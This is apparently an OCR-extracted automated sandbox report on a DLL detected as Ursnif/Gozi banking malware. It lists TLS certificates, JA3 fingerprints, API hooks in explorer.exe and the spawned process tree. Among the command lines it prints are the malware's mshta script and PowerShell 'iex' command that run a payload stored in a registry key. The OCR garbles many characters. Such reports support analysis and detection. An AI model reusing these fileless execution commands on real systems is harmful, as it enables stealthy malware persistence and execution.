CA-3, O="Cloudflare, Inc.", OU=CyberTrust, Mon Jan Wed 49172-49171-157-
C=Us O=Baltimore, C=IE 27 Jan 01  156-61-60-53-47-
13:48:08 00:59:59 10,0-10-11-13-35-
CET CET 16-23-24-
2020 2025 65281,29-23-24,0
CN=Cloudflare Inc ECC CN=Baltimore Mon Jan Wed
CA-3, O="Cloudflare, Inc.", CyberTrust Root, 27 Jan 01
C=Us OU=CyberTrust, 13:48:08 00:59:59
O=Baltimore, C=IE CET CET
2020 2025
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Timestamp

Feb 16, 2021
00:57:39.206856012
CET

Feb 16, 2021
00:57:44.054445028
CET

Feb 16, 2021
00:57:44.057051897
CET

Feb 16, 2021
00:57:44.057652950
CET

Feb 16, 2021
00:57:44.058022976
CET

Copyright null 2021

104.20.184.68 443

151.101.1.44 443

151.101.1.44 443

151.101.1.44 443

151.101.1.44 443

Dest
Dest IP Port

192.168.2.5 49729

192.168.2.5 49747

192.168.2.5 49746

192.168.2.5 49744

192.168.2.5 49742

Subject

CN=onetrust.com,
O="Cloudflare, Inc.",
L=San Francisco,
ST=California, C=US
CN=Cloudflare Inc ECC

CA-3, O="Cloudflare, Inc.",

C=Us

CN=Cloudflare Inc ECC

CA-3, O="Cloudflare, Inc.",

C=Us

CN=*.taboola.com,
O="Taboola, Inc", L=New

York, ST=New York, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=*.taboola.com,
O="Taboola, Inc", L=New

York, ST=New York, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=*.taboola.com,
O="Taboola, Inc", L=New

York, ST=New York, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=*.taboola.com,
O="Taboola, Inc", L=New

York, ST=New York, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

Issuer

CN=Cloudflare Inc ECC
CA-3, O="Cloudflare,
Inc.", C=US
CN=Baltimore
CyberTrust Root,
OU=CyberTrust,
O=Baltimore, C=IE

CN=Baltimore
CyberTrust Root,
OU=CyberTrust,
O=Baltimore, C=IE

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US
CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US
CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US
CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US
CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

Not
Before

Fri Feb
12
01:00:00
CET
2021
Mon Jan
27
13:48:08
CET
2020

Mon Jan
27
13:48:08
CET
2020

Wed
Nov 25
01:00:00
CET
2020
Thu Sep
24
02:00:00
CEST
2020

Thu Sep
24
02:00:00
CEST
2020

Wed
Nov 25
01:00:00
CET
2020
Thu Sep
24
02:00:00
CEST
2020

Thu Sep
24
02:00:00
CEST
2020

Wed
Nov 25
01:00:00
CET
2020
Thu Sep
24
02:00:00
CEST
2020

Thu Sep
24
02:00:00
CEST
2020

Wed
Nov 25
01:00:00
CET
2020
Thu Sep
24
02:00:00
CEST
2020

Thu Sep
24
02:00:00
CEST
2020

Not
After

Sat Feb
12
00:59:59
CET
2022
Wed

Jan 01
00:59:59
CET
2025

Wed

Jan 01
00:59:59
CET
2025

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

JA3 SSL Client
Fingerprint

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

JA3 SSL Client Digest

9e10692f1b7f78228h2d4e
424db3a98c

9e10692f1b7f78228h2d4e
424db3a98c

9e10692f1b7f78228h2d4e
424db3a98c

9e10692f1b7f78228h2d4e
424db3a98c

9e10692f1b7f78228b2d4e
424db3a98c
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Source Dest
Timestamp Source IP Port Dest IP Port
Feb 16, 2021 151.101.1.44 443 192.168.2.5 49745
00:57:44.058826923
CET
Feb 16, 2021 151.101.1.44 443 192.168.2.5 49743
00:57:44.059437037
CET

Code Manipulations

User Modules

Hook Summary

Function Name
api-ms-win-core-processthreads-11-1-0.dll:CreateProcessW
api-ms-win-core-registry-11-1-0.dll:RegGetValueW
CreateProcessAsUserW

CreateProcessAsUserW

CreateProcessW

CreateProcessW

CreateProcessA

CreateProcessA
Processes
Process: explorer.exe, Module: WININET.dII

Function Name
api-ms-win-core-processthreads-11-1-0.dll:CreateProcessW

api-ms-win-core-registry-11-1-0.dll:RegGetValueW
Process: explorer.exe, Module: user32.dll

Function Name
api-ms-win-core-processthreads-11-1-0.dll:CreateProcessW

api-ms-win-core-registry-11-1-0.dll:RegGetValueW
Process: explorer.exe, Module: KERNEL32.DLL

Function Name
CreateProcessAsUserW
CreateProcessAsUserW
CreateProcessW
CreateProcessW
CreateProcessA

CreateProcessA

Copyright null 2021

Subject

CN=*.taboola.com,
O="Taboola, Inc", L=New
York, ST=New York, C=US
CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=*.taboola.com,
O="Taboola, Inc", L=New
York, ST=New York, C=US
CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

Issuer

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US
CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US
CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

Not
Before

Wed
Nov 25
01:00:00
CET
2020
Thu Sep
24
02:00:00
CEST
2020

Thu Sep
24
02:00:00
CEST
2020

Wed
Nov 25
01:00:00
CET
2020
Thu Sep
24
02:00:00
CEST
2020

Thu Sep
24
02:00:00
CEST
2020

Not
After

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

JA3 SSL Client
Fingerprint

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

Hook Type Active in Processes
IAT explorer.exe
IAT explorer.exe
EAT explorer.exe
INLINE explorer.exe
EAT explorer.exe
INLINE explorer.exe
EAT explorer.exe
INLINE explorer.exe
Hook Type New Data
IAT 7FFA9B335200
IAT 6D2719C
Hook Type New Data
IAT 7FFA9B335200
IAT 6D2719C
Hook Type New Data
EAT 7FFA9B33521C
INLINE OxFF 0xF2 0x25 0x50 0x00 0x00
EAT 7FFA9B335200
INLINE OxFF 0xF2 0x25 0x50 0x00 0x00
EAT 7FFA9B33520E
INLINE OxFF 0xF2 0x25 0x50 0x00 0x00

JA3 SSL Client Digest

9e10692f1b7f78228b2d4e
424db3a98c

9e10692f1b7f78228b2d4e
424db3a98c
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Statistics

Behavior

@ loaddII32.exe

® regsvr32.exe

@ cmd.exe

@ iexplore.exe

@ iexplore.exe

@ iexplore.exe

@ iexplore.exe

@ iexplore.exe
mshta.exe

@ powershell.exe

@ conhost.exe

@ csc.exe

@ cvires.exe

System Behavior

Click to jump to process

Analysis Process: loaddll32.exe PID: 204 Parent PID: 5660

General

Start time: 00:57:32

Start date: 16/02/2021

Path: C:\Windows\System32\loaddlI32.exe
Wow64 process (32bit): true

Commandline: loaddlI32.exe 'C:\Users\user\Desktop\Securitelnfo.com.Generic.mg.f77e7bd43f365593.dllI'
Imagebase: 0x12b0000

File size: 121856 bytes

MDS5 hash: 8081BC925DFC69D40463079233C90FA5S
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Analysis Process: regsvr32.exe PID: 4472 Parent PID: 204
General
Start time: 00:57:32
Start date: 16/02/2021
Path: C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit): true
Commandline: regsvr32.exe /s C:\Users\user\Desktop\Securitelnfo.com.Generic.mg.f77e7bd43f365593.dlI
Imagebase: 0x320000
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File size: 20992 bytes

MDS5 hash: 426E7499F6A7346F0410DEAD0O805586B

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:

00000001.00000003.358145680.00000000054C8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.365253627.000000000534B000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.358305961.00000000054C8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.358401494.00000000054C8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.358112275.00000000054C8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.358358372.00000000054C8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.358170829.00000000054C8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.358278308.00000000054C8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.358073702.00000000054C8000.00000004.00000040.sdmp, Author:
Joe Security

Reputation: high

File Activities

Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: cmd.exe PID: 3884 Parent PID: 204
General
Start time: 00:57:33
Start date: 16/02/2021
Path: C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit): true
Commandline: C:\Windows\system32\cmd.exe /c 'C:\Program Files\Internet Exploreniexplore.exe'
Imagebase: 0x1110000
File size: 232960 bytes
MDS5 hash: F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol

Analysis Process: iexplore.exe PID: 5344 Parent PID: 3884

General

Start time: 00:57:33

Start date: 16/02/2021

Path: C:\Program Files\internet exploreniexplore.exe
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Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Program Files\Internet Exploreniexplore.exe
0x7ff740590000

823560 bytes
6465CB92B25A7BC1DF8E01D8AC5E7596
true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
File Read
Source
File Path Offset Length Completion Count Address Symbol
\{B14213CC-5CDC-0BCC-EE75-506F02798413} 0 16 pending 1 18ADE932E80 ReadFile
\{B14213CC-5CDC-0BCC-EE75-506F02798413} 0 12 success or wait 1 18ADE932E80 ReadFile
Registry Activities
Source
Key Path Name Type Data Completion Count Address Symbol
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: iexplore.exe PID: 6156 Parent PID: 5344
General
Start time: 00:57:34
Start date: 16/02/2021
Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Path

File Path

File Path

Registry Activities

Key Path Name

Copyright null 2021

Access

Offset Length Value

Type Old Data

true

'‘C:\Program Files (x86)\Internet Explore'\lIEXPLORE.EXE' SCODEF:5344 CREDAT:17410
Iprefetch:2

0x220000

822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true

true

C, C++ or other language

high

Source

Attributes Options Completion Count Address Symbol
Source

Ascii Completion Count Address Symbol
Source

Offset Length Completion Count Address Symbol
Source

New Data Completion Count Address Symbol
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Analysis Process: iexplore.exe PID: 3016 Parent PID: 5344

General

Start time: 00:58:23

Start date: 16/02/2021

Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit): true

Commandline: 'C:\Program Files (x86)\Internet Explore'\lIEXPLORE.EXE' SCODEF:5344 CREDAT:82962
Iprefetch:2

Imagebase: 0x220000

File size: 822536 bytes

MDS5 hash: 071277CC2E3DF41EEEA8013E2AB58D5A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol
Source

File Path Offset Length Value Ascii Completion Count Address Symbol
Source

File Path Offset Length Completion Count Address Symbol

Analysis Process: iexplore.exe PID: 1496 Parent PID: 5344

General

Start time: 00:58:26

Start date: 16/02/2021

Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit): true

Commandline: '‘C:\Program Files (x86)\Internet Explore'\lEXPLORE.EXE' SCODEF:5344 CREDAT:17422

Iprefetch:2

Imagebase: 0x220000

File size: 822536 bytes

MDS5 hash: 071277CC2E3DF41EEEA8013E2AB58D5A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol
Source

File Path Offset Length Value Ascii Completion Count Address Symbol
Source

File Path Offset Length Completion Count Address Symbol

Analysis Process: iexplore.exe PID: 1716 Parent PID: 5344
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General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

00:58:29

16/02/2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe
true

'C:\Program Files (x86)\Internet Explore'\lIEXPLORE.EXE' SCODEF:5344 CREDAT:82978
Iprefetch:2

0x220000

822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
File Path Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: mshta.exe PID: 5264 Parent PID: 3472
General
Start time: 00:58:36
Start date: 16/02/2021
Path: C:\Windows\System32\mshta.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

‘'C:\Windows\System32\mshta.exe' ‘about:<hta:application><script>resizeTo(1,1);eval(new Act
iveXObject("WScript.Shell').regread('(HKCU\\Software\\AppDataLow\\Software\\Microsoft\86 E
C23E5-2D5A-A875-E71A-B15COBEE7550\\\Actidsrv'));if('window.flag)close()</script>"

0x7ff684010000

14848 bytes
197FC97C6A843BEBB445C1D9C58DCBDB
true

true

C, C++ or other language

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: powershell.exe PID: 5752 Parent PID: 5264
General
Start time: 00:58:38
Start date: 16/02/2021
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit):
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Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.En
coding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-
2D5A-A875-E71A-B15COBEE7550').basebapi))

0x7ff7d2670000

447488 bytes
95000560239032BC68B4C2FDFCDEF913
true

true

.Net C# or VB.NET

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000020.00000003.417513128.0000027AE89B0000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: GoziRule, Description: Win32.Gozi, Source:
00000020.00000003.417513128.0000027AE89B0000.00000004.00000001.sdmp, Author:
CCN-CERT

Reputation: high
Analysis Process: conhost.exe PID: 5616 Parent PID: 5752
General
Start time: 00:58:39
Start date: 16/02/2021
Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7ecfc0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Reputation: high
Analysis Process: csc.exe PID: 4228 Parent PID: 5752
General
Start time: 00:58:47
Start date: 16/02/2021
Path: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

‘C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @
‘C:\Users\user\AppData\Local\Temp\q4v3w255\q4v3w255.cmdline’

0x7ff678bf0000

2739304 bytes
B46100977911A0C9FB1C3E5F16A5017D
true

true

Net C# or VB.NET

Reputation: moderate
Analysis Process: cvtres.exe PID: 5024 Parent PID: 4228
General
Start time: 00:58:48
Start date: 16/02/2021
Path: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe

Wow64 process (32bit):
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Commandline: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MA
CHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES75DB.tmp" ‘c:\Users\usen\Ap
pData\Local\Temp\q4v3w255\CSCF2DE2458AB624CEAB066599ECF7B3C9. TMP!

Imagebase: 0x7ff66e1a0000

File size: 47280 bytes

MDS5 hash: 33BB8BEOB4F547324D93D5D2725CAC3D
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
Disassembly

Code Analysis
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